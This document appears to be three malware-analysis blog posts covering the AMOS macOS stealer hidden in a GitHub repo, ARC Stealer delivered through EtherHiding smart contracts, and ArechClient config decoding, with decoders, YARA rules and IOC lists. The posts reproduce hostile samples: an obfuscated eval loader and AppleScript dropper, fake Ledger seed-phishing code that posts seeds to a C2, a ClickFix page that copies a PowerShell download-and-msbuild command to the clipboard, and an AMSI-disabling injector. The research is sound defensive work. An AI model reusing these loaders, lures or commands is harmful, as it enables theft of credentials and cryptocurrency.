gecYhT=$(echo "$pMNtwU" | base64 --decode | perl -e 'my $key = pack("H*", "34a192d4efbccede2362bc7bf84d1398"); my $data = do { local $/;  }; my $k = length($key); for(my $i=0; $i < length($data); $i++){ print chr( ord(substr($data, $i, 1)) ^ ord(substr($key, $i % $k, 1)) ); }')
jPkBRj=$(jMRfWL "$gecYhT")
eval "$jPkBRj"

After deobfuscating via base64 -> xor -> base64 we are left with this:

#!/bin/bash
osascript -e 'on run
    try
        set diskList to list disks
    end try
    set targetDisk to ""
    try
        repeat with disk in diskList
            if disk contains "touchlock" then
                set targetDisk to disk
                exit repeat
            end if
        end repeat
    end try
    if targetDisk is "" then
        return
    end if
    set folderPath to "/Volumes/" & targetDisk & "/"
    set appName to ".touchlock"
    set appPath to folderPath & appName
    set tempAppPath to "/tmp/" & appName
    try
        do shell script "rm -f " & quoted form of tempAppPath
    end try
    try
        do shell script "cp " & quoted form of appPath & " " & quoted form of tempAppPath
    end try
    try
        do shell script "xattr -c " & quoted form of tempAppPath
    end try
    try
        do shell script "chmod +x " & quoted form of tempAppPath
    end try
    try
        do shell script quoted form of tempAppPath
    end try
end run'

The script will move the onboard .touchblock file to the ‘tmp’ folder and then detonate it. Inside this file is both an x64 and an ARM64 version of AMOS, the data decoding involves 3 equal sized blocks followed by base64 decoding with a custom alphabet.

The algorithm involves three blocks of equal size, every dword is taken and subtracted and xord appropriately.

c210 = GetManyBytes(0x1000aa0f0, 0x200)
c410 = 0x1000aa4ec
c610 = GetManyBytes(0x1000aa4f0, 0x200)

out = ""
for i in range(0x80):
  a = struct.unpack_from('  d = struct.unpack_from('  c = Dword(c410-(i*4))
  a = (a - d) & 0xffffffff
  a ^= c
  out += chr(a)

The 0x200 blob then decodes into the custom base64 alphabet:

xtk1IbLCo9pQgDwBKNl_Pa*Z-J40zOiEr&5n8s=R!dAG%$After decoding the larger blob with the same algorithm, the previously decoded alphabet will be used to base64 decode the script:
osascript -e '
set memData to do shell script "system_profiler SPMemoryDataType"
set hardwareData to do shell script "system_profiler SPHardwareDataType"

if memData contains "QEMU" or memData contains "VMware" or memData contains "KVM" or hardwareData contains "Z31FHXYQ0J" or hardwareData contains "C07T508TG1J2" or hardwareData contains "C02TM2ZBHX87" or hardwareData contains "Chip: Unknown" then
    set exitCode to 100
else
    set exitCode to 0
end if

do shell script "exit " & exitCode
'
end readwrite2yaend tellduplicate sourceFile to destinationFolder with replacingth_as_save of path_as_save

<..snip..>
For automating the decoding out IOCs from samples we can leverage yara-python:
import re
import sys
import yara
import struct
import binascii
import base64
rule_source = '''
rule amos
{
    strings:
    $a1 = {4c 8d 35 ?? ?? ?? 00 45 31 ff 4c}
    condition:
    all of them
}
'''
#From Graham Austin
def yara_scan(raw_data, rule_name):
    xor_keys = []
    yara_rules = yara.compile(source=rule_source)
    matches = yara_rules.match(data=raw_data)
    for match in matches:
        if match.rule == 'amos':
            for item in match.strings:
                if item.identifier == rule_name and len(item.instances) > 0:
                    xor_keys += (item.instances)
    return xor_keys
def add_base64_padding(data):
    return data + b'=' * (-len(data) % 4)
def custom_b64(encoded_data, custom_alphabet):
    std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    translated_data = encoded_data.translate(str.maketrans(custom_alphabet, std_base64chars)).encode()
    return(base64.b64decode(add_base64_padding(translated_data)))
data = open(sys.argv[1], 'rb').read()
tet = yara_scan(data, '$a1')
key_struct = None
blobs = []
#To get memory address you do the offset from opcode + yara match .offset + instruction opcode count in this case 7
while len(tet) > 0:
    (dc, dc, dc, offset_a,dc, dc, dc, offset_c, dc, dc, offset_d) = struct.unpack_from('    offset_a += tet[0].offset
    offset_a += 7
    offset_c += tet[0].offset
    offset_c += 17
    offset_d += tet[0].offset
    offset_d += 24
    l = offset_d - offset_c
    l = int(l/2)
    if l == 0x200:
        key_struct = {'a_off': offset_c, 'a_len': l, 'c_off': offset_a, 'c_len': l, 'd_off': offset_d, 'd_len': l}
    else:
        obj_struct = {'a_off': offset_c, 'a_len': l, 'c_off': offset_a, 'c_len': l, 'd_off': offset_d, 'd_len': l}
        blobs.append(obj_struct)
    tet = tet[1:]
if key_struct:
    out = ""
    a_data = data[key_struct['a_off']:key_struct['a_off']+key_struct['a_len']]
    d_data = data[key_struct['d_off']:key_struct['d_off']+key_struct['d_len']]
    #c_data = data[key_struct['c_off']:key_struct['c_off']+key_struct['c_len']]
    for i in range(0x80):
        a = struct.unpack_from('        d = struct.unpack_from('        c = struct.unpack_from('        a = (a - d) & 0xffffffff
        a ^= c
        out += chr(a&0xff)
    key = binascii.unhexlify(out)
    dump = b''
    for blob in blobs:
        out = ""
        a_data = data[blob['a_off']:blob['a_off']+blob['a_len']]
        d_data = data[blob['d_off']:blob['d_off']+blob['d_len']]
        #c_data = data[blob['c_off']:blob['c_off']+blob['c_len']]
        for i in range(int(blob['a_len']/4)):
            a = struct.unpack_from('            d = struct.unpack_from('            c = struct.unpack_from('            a = (a - d) & 0xffffffff
            a ^= c
            out += chr(a)
        temp = binascii.unhexlify(out)
        decoded = custom_b64(temp.decode('ascii'), key.decode('ascii'))
        dump += decoded+b'\n'

c2s = re.findall(b'''https?:[^'"\x20]+['"\x20]''', dump)
c2s = [x[:-1] for x in c2s]
print(c2s)
The C2s for our sample are:
[b'hxxps://isnimitz.]com/zxc/app.zip', b'hxxp://45.94.47[.136/contact']
The app.zip download is a fake Ledger Live.app:
2b7e58d66e0d3f55c4a3e0e23ca51b2e13e654874379fb57c63ae6af9167c0b5
Contents:
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-05-14 10:42:45 D....            0            0  Ledger Live.app
2025-05-14 10:42:45 D....            0            0  Ledger Live.app/Contents
2025-05-14 10:42:45 D....            0            0  Ledger Live.app/Contents/_CodeSignature
2025-05-14 10:42:45 D....            0            0  Ledger Live.app/Contents/MacOS
2025-05-14 10:42:45 D....            0            0  Ledger Live.app/Contents/Resources
2025-05-14 10:42:45 .....         1556          528  Ledger Live.app/Contents/Info.plist
2025-05-14 10:42:45 .....            8            8  Ledger Live.app/Contents/PkgInfo
2025-05-14 10:42:45 .....         4048         1140  Ledger Live.app/Contents/_CodeSignature/CodeResources
2025-05-14 10:42:45 .....       221856        37212  Ledger Live.app/Contents/MacOS/Ledger Live
2025-05-14 10:42:44 .....        14025         3125  Ledger Live.app/Contents/Resources/index.html
2025-05-14 10:42:44 .....         8728         8733  Ledger Live.app/Contents/Resources/img_lock2.png
2025-05-14 10:42:45 .....        15608        14632  Ledger Live.app/Contents/Resources/AppIcon.icns
2025-05-14 10:42:45 .....        40968        15613  Ledger Live.app/Contents/Resources/Assets.car
2025-05-14 10:42:44 .....        11745         2968  Ledger Live.app/Contents/Resources/put_seed.html
2025-05-14 10:42:44 .....      3714421      3710112  Ledger Live.app/Contents/Resources/videoplayback.mp4
2025-05-14 10:42:44 .....        61454        61438  Ledger Live.app/Contents/Resources/image.png
2025-05-14 10:42:44 .....        13639         2840  Ledger Live.app/Contents/Resources/end.html
The app will display a message

    
        LEDGER-LIVE
        
    

    

    


    
        THE MOST SECURE
        

        CRYPTOCURRENCY
        

        
        & NFT WALLET

        
    
But in the code you can find what is really happening:
      function goStage2() {
        const username = getUsernameParam();
        let targetUrl = 'put_seed.html';
        if (username) {
          targetUrl += '?username=' + encodeURIComponent(username);
        }
        window.location.href = targetUrl;
      }
Next in the put_seed html file it will ask for your secret phrase:

    
        GENUINE CHECK

        
            Your secret phrase is the list of words you backed up when
            you first set up your wallet. Ledger does not keep a copy of your
            recovery phrase.
        


        


        
    

Finally all the data will be sent off:
    submitButton.addEventListener("click", () => {
        const words = [];
        inputFields.forEach((input) => {
            words.push(input.value.trim());
        });

        const allWordsFilled =
            words.length === 24 && words.every((word) => word !== "");

        if (!allWordsFilled) {
            return;
        }

        const seedPhrase = words.join("#");
        let username = new URLSearchParams(window.location.search).get(
            "username"
        );

        if (!username) {
            username = "testing"
        }
               
        const encodedUsername = btoa(username); 
        const encodedSeed = btoa(seedPhrase);
        
        const url = "hxxps://heathlypet[.com/receive.php";
    
        const securedData = {
            username: encodedUsername,
            seed: encodedSeed
        };
The Github was taken down very quickly but the user that did the actual commits had done so on multiple repos, example:
Which also contains an installer with an AMOS variant on board using the same C2s.
IOCs
heathlypet[.com
isnimitz.]com
gknkargo.]com
aimplyhired.]com

45.94.47[.136
85.192.49[.118
45.94.47[.103
45.94.47[.102
62.60.249[.105
References
1: https://github.com/RussianPanda95/IDAPython/blob/main/Atomic%20Stealer/amos_config_extract_idapython-3-2025.py
2: https://www.bleepingcomputer.com/news/security/hackers-use-fake-ledger-apps-to-steal-mac-users-seed-phrases/
Amos hiding in GitHub was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

ARC Stealer Hiding in the Ether

Jason Reaves — Tue, 27 May 2025 14:49:40 GMT

By: Jason Reaves

Etherhiding[1] is a technique being employed by hiding part of the infection chain in the blockchain[2] using smart contracts, the data that can be stored inside of the smart contract can be just about anything. The content of the smart contract is hosted on the blockchain which makes it significantly harder to take content down.

While tracking some etherhiding campaigns I came across this transaction:

https://testnet.bscscan.com/tx/0x021e798752ca28e32452a5f332aa58c2765609d4714e2a1a672cf587da7b921a

This data decodes into javascript that will build out the fake captcha page designed to get the user to execute a command:

  
            
                To better prove you are not a robot, please:
            

            
                
                    Press & hold the Windows Key  + R.
                

                
                
                    In the verification window, press Ctrl + V.
                


                
                    Press Enter on your keyboard to finish.
                

            

            
                You will observe and agree:
                

            
                ✅ "I am not a robot - reCAPTCHA Verification ID: 146820"

Inside will also be obfuscatorDotIO obfuscated javascript, after deobfuscating[4] it will have the command to be ran by the user.

Deobfuscated javascript:

(function (_0x2dc32a, _0x524a97) {
  const _0x3ab038 = _0x2dc32a();
  while (true) {
    try {
      const _0x58e008 = -parseInt(_0x2b0f(148, 0x209)) / 0x1 * (-parseInt(_0x2b0f(177, 0x21c)) / 0x2) + parseInt(_0x2b0f(166, 0x1f4)) / 0x3 * (parseInt(_0x2b0f(154, 0x204)) / 0x4) + -parseInt(_0x2b0f(173, 0x23e)) / 0x5 * (parseInt(_0x2b0f(131, 0x1f1)) / 0x6) + -parseInt(_0x2b0f(145, 0x209)) / 0x7 * (-parseInt(_0x2b0f(117, 0x1fd)) / 0x8) + -parseInt(_0x2b0f(119, 0x1d6)) / 0x9 + parseInt(_0x2b0f(121, 0x1d3)) / 0xa + -parseInt(_0x2b0f(142, 0x20d)) / 0xb * (parseInt(_0x2b0f(143, 0x21b)) / 0xc);
      if (_0x58e008 === _0x524a97) {
        break;
      } else {
        _0x3ab038.push(_0x3ab038.shift());
      }
    } catch (_0x1f77bd) {
      _0x3ab038.push(_0x3ab038.shift());
    }
  }
})(_0xfe04, 0xc2c4e);
function runClickedCheckboxEffects() {
  hideCaptchaCheckbox();
  setTimeout(function () {
    showCaptchaLoading();
  }, 0x1f4);
  setTimeout(function () {
    showVerifyWindow();
  }, 0x384);
}
function showCaptchaLoading() {
  checkboxBtnSpinner.style.setProperty("visibility", "visible", "important");
  checkboxBtnSpinner.style.setProperty('opacity', '1', 'important');
}
function hideCaptchaLoading() {
  checkboxBtnSpinner.style.setProperty("visibility", "hidden", "important");
  checkboxBtnSpinner.style.setProperty("opacity", '0', "important");
}
function showCaptchaCheckbox() {
  checkboxBtn.style.setProperty('width', "100%", "important");
  checkboxBtn.style.setProperty("height", "100%", "important");
  checkboxBtn.style.setProperty("border-radius", "2px", "important");
  checkboxBtn.style.setProperty('margin', "21px 0 0 12px", "important");
  checkboxBtn.style.setProperty("opacity", '1', "important");
}
function hideCaptchaCheckbox() {
  checkboxBtn.style.setProperty('width', '4px', "important");
  checkboxBtn.style.setProperty("height", "4px", "important");
  checkboxBtn.style.setProperty("border-radius", "50%", "important");
  checkboxBtn.style.setProperty("margin-left", "25px", "important");
  checkboxBtn.style.setProperty("margin-top", "33px", "important");
  checkboxBtn.style.setProperty("opacity", '0', "important");
}
function _0xfe04() {
  const _0x5a4c9f = ['offsetLeft', 'includes', "21px 0 0 12px", '26398OiJoZh', 'visible', 'composedPath', 'none', 'remove', 'opacity', 'execCommand', 'addEventListener', 'random', 'click', '872RXFdql', 'sort', '2691063zQEDuW', '4px', '3233610GmuUcS', 'offsetTop', 'disabled', 'important', 'margin-left', '100%', 'height', 'body', 'textContent', 'checkbox-window', '1766406gSJSmF', 'querySelector', 'verification-id', 'floor', 'getElementById', 'replaceAll', 'append', 'push', 'removeChild', 'style', '#cjscss', '11nQVtBL', '3019560AfPCHP', 'visibility', '32445vvoshh', 'innerWidth', 'slice', '62VUarez', 'checkbox', '50%', 'setProperty', '5px', 'left', '328hvJyIa', 'border-radius', '33px', '2px', 'margin-top', 'toString', 'hidden', '25px', 'value', 'verify-window', 'top', 'YmFscC5ydW4=', '42933zuFRmR', 'length', 'copy', 'display', 'preventDefault', "powershell -w h -c \"$p=$env:TEMP+'\\t.csproj';irm https://cv.jyla.ru/t.csproj -o $p;&($env:SystemRoot+'\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe') $p\"", 'block', '25WSPzyG'];
  _0xfe04 = function () {
    return _0x5a4c9f;
  };
  return _0xfe04();
}
function _0xf1425a(_0x3ebae3, _0x344898) {
  return _0x2b0f(_0x344898 + 0x32d, _0x3ebae3);
}
function _0x2b0f(_0x1a266b, _0x278adc) {
  const _0xfe0490 = _0xfe04();
  _0x2b0f = function (_0x2b0f34, _0x1d0f78) {
    _0x2b0f34 = _0x2b0f34 - 0x72;
    let _0x2ca70f = _0xfe0490[_0x2b0f34];
    return _0x2ca70f;
  };
  return _0x2b0f(_0x1a266b, _0x278adc);
}
function closeverifywindow() {
  verifywindow.style.setProperty("display", 'none', "important");
  verifywindow.style.setProperty("visibility", "hidden", 'important');
  verifywindow.style.setProperty("opacity", '0', "important");
  showCaptchaCheckbox();
  hideCaptchaLoading();
  checkboxBtn.disabled = false;
}
function generateRandomNumber() {
  return Math.floor(0x15f90 * Math.random() + 0x2710).toString();
}
function showVerifyWindow() {
  var _0x88079d = setInterval(() => {}, 0x0);
  for (let _0x5ac813 = 0x0; _0x5ac813 <= _0x88079d; _0x5ac813++) {
    clearInterval(_0x5ac813);
  }
  verifywindow.style.setProperty("display", "block", 'important');
  verifywindow.style.setProperty('visibility', "visible", "important");
  verifywindow.style.setProperty("opacity", '1', "important");
  verifywindow.style.setProperty("top", checkboxWindow.offsetTop - 0x50 + 'px', "important");
  verifywindow.style.setProperty("left", checkboxWindow.offsetLeft + 0x36 + 'px', "important");
  if (verifywindow.offsetTop < 0x5) {
    verifywindow.style.setProperty("top", "5px", "important");
  }
  if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth - 0xa) {
    verifywindow.style.setProperty("left", checkboxWindow.offsetLeft - 0x8 + 'px', "important");
  }
  var _0x259457 = Math.floor(0x15f90 * Math.random() + 0x2710).toString();
  document.getElementById("verification-id").textContent = _0x259457;
  stageClipboard(commandToRun, _0x259457);
}
function isverifywindowVisible() {
  return "none" !== verifywindow.style.display && '' !== verifywindow.style.display;
}
function setClipboardCopyData(_0x157e98) {
  let _0xfd707 = document.createElement('textarea');
  _0xfd707.value = _0x157e98;
  document.body.append(_0xfd707);
  _0xfd707.select();
  document.execCommand("copy");
  document.body.removeChild(_0xfd707);
}
function insertQuotesFixed(_0x37df09, _0x39d724 = 0x6) {
  let _0x207c5d = [];
  for (let _0x30c6de = 0x0; _0x30c6de < _0x39d724; _0x30c6de++) {
    let _0x5d6c92;
    do {
      _0x5d6c92 = Math.floor(Math.random() * (_0x37df09.length + 0x1));
    } while (_0x207c5d.includes(_0x5d6c92));
    _0x207c5d.push(_0x5d6c92);
  }
  _0x207c5d.sort((_0x275829, _0x14f81b) => _0x14f81b - _0x275829);
  for (let _0x25b497 of _0x207c5d) _0x37df09 = _0x37df09.slice(0x0, _0x25b497) + "\"" + _0x37df09.slice(_0x25b497);
  return _0x37df09.replaceAll('-', '');
}
function stageClipboard(_0x57f9b7, _0x557071) {
  setClipboardCopyData(_0x57f9b7);
  var _0x279865 = setInterval(() => {
    isGoalReached(usr_id).then(_0x51a46f => {
      if (_0x51a46f) {
        document.querySelector('.cjs-container').remove();
        document.querySelector("#cjscss").remove();
        clearInterval(_0x279865);
      }
    });
  }, 0x3e8);
}
function addCaptchaListeners() {
  if (checkboxBtn) {
    document.addEventListener("click", function (_0x566e7b) {
      if (!_0x566e7b.composedPath().includes(verifywindow) && "none" !== verifywindow.style.display && '' !== verifywindow.style.display) {
        closeverifywindow();
      }
    });
    checkboxBtn.addEventListener("click", function (_0x2d10e2) {
      _0x2d10e2.preventDefault();
      checkboxBtn.disabled = true;
      runClickedCheckboxEffects();
    });
  }
}
commandToRun = "powershell -w h -c \"$p=$env:TEMP+'\\t.csproj';irm https://cv.jyla[.ru/t.csproj -o $p;&($env:SystemRoot+'\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe') $p\"";
checkboxWindow = document.getElementById("checkbox-window");
checkboxBtn = document.getElementById("checkbox");
checkboxBtnSpinner = document.getElementById('spinner');
verifywindow = document.getElementById("verify-window");
addCaptchaListeners();

In this case downloading and compiling .NET source code, it is obfuscated source code that appears to run a powershell command:

  AC4ATgBhAG0AZQApAC4
    ASQBuAHYAbwBrAGUAKAApAH0AKQApAH0AKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApAA==
  

  

    pow
    ershell
    .exe
    -w

Deobfuscating shows the URL to the next piece in the chain:

b"SV 2PX 'https://tt.cbrw[.ru/vb7to8.psd';((Get-Item Variable:\\*ecu*t).Value.InvokeCommand|ForEach{(Get-Variable _ -Val).(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.PsObject.Methods|Where{$_.Name-clike'N*S*B*'}).Name)((((Variable 2PX).Value|%{(.(Get-Item Variable:\\*ecu*t).Value.InvokeCommand.(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand|Member|Where{$_.Name-clike'*t*om*d'}).Name)((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.PsObject.Methods|Where{$_.Name-clike'G*om*e'}).Name)('I*v*W*R*t',1,1),[System.Management.Automation.CommandTypes]::Cmdlet) $_)})|%{$_.(((Get-Variable _ -Val)|Member)[4].Name).Invoke()}))}).InvokeReturnAsIs()"

The downloaded vb7to8.psd fileis obfuscated powershell with an onboard XOR encoded script onboard, after decoding we are left with another obfuscated powershell layer:

(  '``````'  |%  {  ${$-[}  =  +  $()}{  ${])}=  ${$-[}}{  ${;]~}=  ++  ${$-[}  }  {${%[}=  ++${$-[}}{  ${``}=++${$-[}  }{  ${+);}=  ++${$-[}}{${ !'}  =  ++${$-[}}  {  ${.(*}=++  ${$-[}  }  {${#@'}=++  ${$-[}  }  {${+~*}  =++  ${$-[}}  {  ${=)}=++  ${$-[}  }  {${#}="["  +  "$(@{  }  )  "[${#@'}  ]+"$(@{})"["${;]~}"+"${=)}"]  +"$(  @{})  "[  "${%[}"+"${])}"]  +"$?  "[${;]~}]+  "]"  }  {${$-[}="".("$(  @{  })"[  "${;]~}"  +  "${+);}"]+  "$(@{}  )"["${;]~}"+"${.(*}"  ]+  "$(@{}  )"[${])}]+"$(  @{  })  "[${+);}]+  "$?"[${;

Decoding this powershell is relatively straight forward, you need to find the ‘.’ used as a function call near the end:

${#}${;]~}${])}  |${$-[}  "  |  .${$-[}

Change the function to:

${#}${;]~}${])}  |${$-[}  "  |  Write-Output

This should dump out the next layer after running, in this case a char by char rebuild of the deobfuscated script leading to documented powershell code:

# =====================================================================
# Early Bird + Context Hijack Injector x86/x64 PowerShell
# =====================================================================

Remove-Item Function:\Write-Host -ErrorAction SilentlyContinue
function Write-Host { }

$ErrorActionPreference     = 'SilentlyContinue'
$WarningPreference         = 'SilentlyContinue'
$VerbosePreference         = 'SilentlyContinue'
$DebugPreference           = 'SilentlyContinue'
$InformationPreference     = 'SilentlyContinue'
$ProgressPreference        = 'SilentlyContinue'

function Invoke-NullAMSI {

The powershell script contains an onboard section labeled conf which shows the shellcode blob that will be downloaded and injected:

# === Conf ===
$ExePath = 'C:\Windows\SysWOW64\OpenWith.exe'
$Url     = 'https://cv.cbrw[.ru/init1.bin'

$IsHost64 = [Environment]::Is64BitProcess
if ($IsHost64) { $HostArch = 'x64' } else { $HostArch = 'x86' }
#Write-Verbose "[*] PowerShell is $HostArch"

If we take a quick look at the start we can see a function starting:

0000000: 5531 c0b9 0500 0000 89e5 5753 8d7d e483  U1........WS.}..
00000010: ec40 f3ab 8d7d d4b9 0400 0000 f3ab c704  .@...}..........
00000020: 240c 9c72 03e8 e407 0000 8945 f485 c00f  $..r.......E....
00000030: 84c1 0000 00c7 4424 0868 1084 528d 5dd4  ......D$.h..R.].

Doing a quick check on vt:

content:{5531 c0b9 0500 0000 89e5 5753 8d7d e483}

We see lots of samples of various sizes, so this is potentially part of a opensource tool.

The shellcode will resolve a few functions using hardcoded hashes and then will get the address of a structure of data:

This table begins a parsing of data blobs prepended by the layer2 shellcode which is easier to see here:

l = struct.unpack_from('t = t[4:l+4]
sc = t[0x15:0x1cb2+0x15]
t = t[0x1cb2+0x15:]
l = struct.unpack_from('blobs = []
while l < len(t) and len(t) > 4:
    blob = t[4:l+4]
    blobs.append((blob,l))
    t = t[4+l:]
    if len(t) > 0:
        l = struct.unpack_from('    else:
        l = 0

The blobs end up being XOR keys and import information which will be used to fix up the layer2 shellcode:

Eventually leading to the parsing of the remaining data which ends up being two blobs of encoded data one of which will be the payload binary. The imports involve RtlDecompressBuffer for LZNT decompress but it also appears that the blobs are first XOR decoded:

After XOR decoding it will call RtlDecompressBuffer to LZNT decompress the data, we can recreate this in python to dump the files:

import sys
import struct
import lznt

data = open(sys.argv[1], 'rb').read()

#try to find start of table
idx = data.find(b'\xe8\x00\x00\x00\x00\x58\x83')
idx = idx + 5
val = data[idx+3]
idx += val
print(hex(idx))

t = data[idx:]

l = struct.unpack_from('exe_s = t[l+4:]
t = t[4:l+4]
sc = t[0x15:0x1cb2+0x15]
t = t[0x1cb2+0x15:]
l = struct.unpack_from('blobs = []
while l < len(t) and len(t) > 4:
    blob = t[4:l+4]
    blobs.append((blob,l))
    t = t[4+l:]
    if len(t) > 0:
        l = struct.unpack_from('    else:
        l = 0


(total_sz, flags, uncomp_sz, data_sz) = struct.unpack_from('
exe_blob = bytearray(exe_s[16:16+data_sz])
key_s = exe_s[16+data_sz:]
key_l = struct.unpack_from('key = bytearray(key_s[4:4+key_l])

for i in range(len(exe_blob)):
    exe_blob[i] ^= key[i%len(key)]


tt = lznt.decompress(exe_blob)
open(sys.argv[1]+'.decoded', 'wb').write(tt)

Using this plus a pivotable file in VT from the shellcode we were able to determine that this was built using Clemantis[3].

The decoded binary in this instance is Arc Stealer, which comes with a hardcoded c2 config onboard:

This data will be used to construct the initial request for the stealer config data from the c2. Of note is the use of the IP and the stomping of the host header. In traffic, you don’t see a DNS request.

The response to this data is a base64 blob:

Decoding is just a XOR with a hardcoded string:

>> key = bytearray(b'852149723\x00')
>>> test = bytearray(base64.b64decode(data))
>>> for i in range(len(test)):
...   test[i] ^= key[i%len(key)]
... 
>>> test
bytearray(b'{"b":[{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome SxS\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome Beta\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome Dev\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome Unstable\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c8","p":"\\\\Local\\\\Google\\\\Chrome Canary\\\\User Data","t":1,"pn":"chrome.exe"},{"n":"b\\\\c20","p":"\\\\Local\\\\Epic Privacy Browser\\\\User Data","t":1,"pn":"epic.exe"},{"n":"b\\\\c15","p":"\\\\Local\\\\Vivaldi\\\\User Data","t":1,"pn":"vivaldi.exe"},{"n":"b\\\\c26","p":"\\\\Local\\\\360Browser\\\\Browser\\\\U

This json data will be parsed in the binary using hardcoded strings as keys:

This aligns with the keys from the data also:

dict_keys(['b', 'exW', 'exP', 'exG', 'sM', 'sW', 'sO', 'g', 'ld', 'str'])

Potential meanings:

exW - wallet extensions
exP - password extensions
exG - enumerates files under extension folders
sM - messenger app directories
sW - wallet app directories
sO - others? - directories for ftp apps, sql, filezilla, vpn creds
g - file hunting regexs
ld - loads other files

The loads noticed recently have been URIs such as /shark.bin and /sh.ext.bin.

IOCs

Network:
23.27.20[.143
cv.jyla[.ru
tt.cbrw[.ru
cv.cbrw[.ru

h1.glitzyentire[.top
h1.coldwalk[.top
h1.suavefrisk[.bet
h1.grufflyslick[.bet
h4.sopy[.press

Folders:
AppData\Local\Temp\Login Data
AppData\Local\Temp\Cookies
AppData\Local\Temp\Web Data


File writes hardcoded name:
hjksf[a-z].exe
ex:
hjksfa.exe
hjksfe.exe
hjksfi.exe

Traffic for posts

/Up/
/Up/b
/Up/p
/Up/g
/shark.bin
/sh.ext.bin

Arc Stealer C2s from pivoting:

ui.xumu[.press
cakesank[.top
winthigh[.top
mcrsftuptade[.pro
overplanteasiest[.top
badnesspandemic[.shop
aluminumsternness[.shop
detailpummel[.shop
dervinko[.biz
frfk[.xyz
iicc[.fun
kwqislxk[.xyz
veronicabal[.com
frck[.xyz
frdk[.xyz
frgk[.xyz
trxh[.xyz
frjk[.xyz
trxq[.xyz
frpk[.xyz
fastsecurityup[.com
oxygenamicably[.shop
zut2[.shop
ras2[.shop
effectsstardust[.shop
mm.underarmpresumingsubscript[.shop
verticaleatery[.store
smkijgdnkso3d[.net
connect-cdn-api.tastinessrebaterunny[.shop
rivalillicitlytransfer[.shop
pecanclusteredjalapeno[.shop
strangerundergradretread[.shop
moonlikeleversembattled[.shop
synopsesdustwildland[.shop
uu.underarmpresumingsubscript[.shop
bolstermonoxideseventeen[.shop
unrobedunhingepyramid[.shop
2429568886dbdaba3fa935d7ae112525.stunnedfragiledioxide[.shop
cog2[.xyz
downloadnew[.shop
geotravelsgi[.xyz
dd-d[.xyz
pcvvf[.xyz
pcvcf[.xyz
padrf[.xyz
gameschekt[.com
llzl[.xyz
kwqislxk[.xyz
updatel2[.com
llxl.xyz
tourbigs.com
ctze.xyz
nafiskaran.com
veronicabal.com
lldl.xyz
llml.xyz
llal.xyz
fruk.xyz
frtk.xyz
frsk.xyz
frpk.xyz
frjk.xyz
frgk.xyz
frfk.xyz
frcf.xyz
trxu.xyz

References

1: https://blog.sekoia.io/clearfakes-new-widespread-variant-increased-web3-exploitation-for-malware-delivery/

2: https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16

3: https://github.com/CBLabresearch/Clematis

4: https://deobfuscator.io/

ARC Stealer Hiding in the Ether was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

ArechClient; Decoding IOCs and finding the onboard browser extension

Jason Reaves — Thu, 13 Mar 2025 13:46:30 GMT

By: Jason Reaves

Found myself analyzing ArechClient recently and needed a way to automatically decode out the C2 info from lots of samples. By the end of our work we also discovered that the browser extension being delivered by ArechClient is on board the client itself.

The sample I started with:

96ba74cc27b44547d23fe1fa550fc59b4f340dbbca8472d9b4698576751bb189

A very good technical writeup on ArechClient was done back in 2023 by dr4k0nia[1,2]. Using that information I was able to quickly find the function responsible for decoding strings:

        internal static string c(int num, int num2, int num3)
        {
                num += 593;
                Assembly executingAssembly = Assembly.GetExecutingAssembly();
                num2 -= 331;
                Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("resource");
                int num4 = num ^ num2;
                num4 = num4 * 17 / 27;
                manifestResourceStream.Seek((long)(7 + num4), SeekOrigin.Begin);
                byte[] array = new byte[8];
                manifestResourceStream.Read(array, 0, 4);
                int num5 = (BitConverter.ToInt32(array, 0) ^ 2100157544) - 100;
                manifestResourceStream.Read(array, 0, 4);
                int num6 = BitConverter.ToInt32(array, 0) - 5 ^ 485648943;
                manifestResourceStream.Seek((long)num5, SeekOrigin.Begin);
                array = new byte[num6];
                manifestResourceStream.Read(array, 0, num6);
                for (int i = 0; i < array.Length; i++)
                {
                        array[i] = (byte)((int)array[i] ^ num3);
                }
                return Encoding.UTF8.GetString(array);
        }

A single byte XOR, and the offset and key are passed as parameters. Using different keys for various strings makes it a bit annoying for automating but makes no difference in detection using YARA:

rule archeclient
{
    strings:
    $a1 = "https://pastebin.com/raw/" xor
    $a2 = "CatalinaGroup" xor
    $a3 = "Cookies" xor
    condition:
    all of them
}

While I let that run gathering up more samples, let’s look at writing a decoder.

So the decoding method means if we want to stay static then we’ll either need to delve into decompiling every binary or look at bruting, decompiling them would require a bit much for my framework so I stick to the bruting realm using a regex for the IP and a quick shortcut check for pastebin for the URL:

import re
import sys

data = open(sys.argv[1], 'rb').read()
ips = []
for i in range(255):
  temp = bytearray(data)
  for j in range(len(temp)):
    temp[j] ^= i
  t = re.findall(b'''[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}''', temp)
  ips += t
#  if b'http' in temp:
  if b'pastebin' in temp:
    #tt = re.findall(b'''[\x20-\x7e]*pastebin[\x20-\x7e]*''', temp)
    tt = re.findall(b'''https?://[\x20-\x7e]+''', temp)
    ips += tt

print(ips)

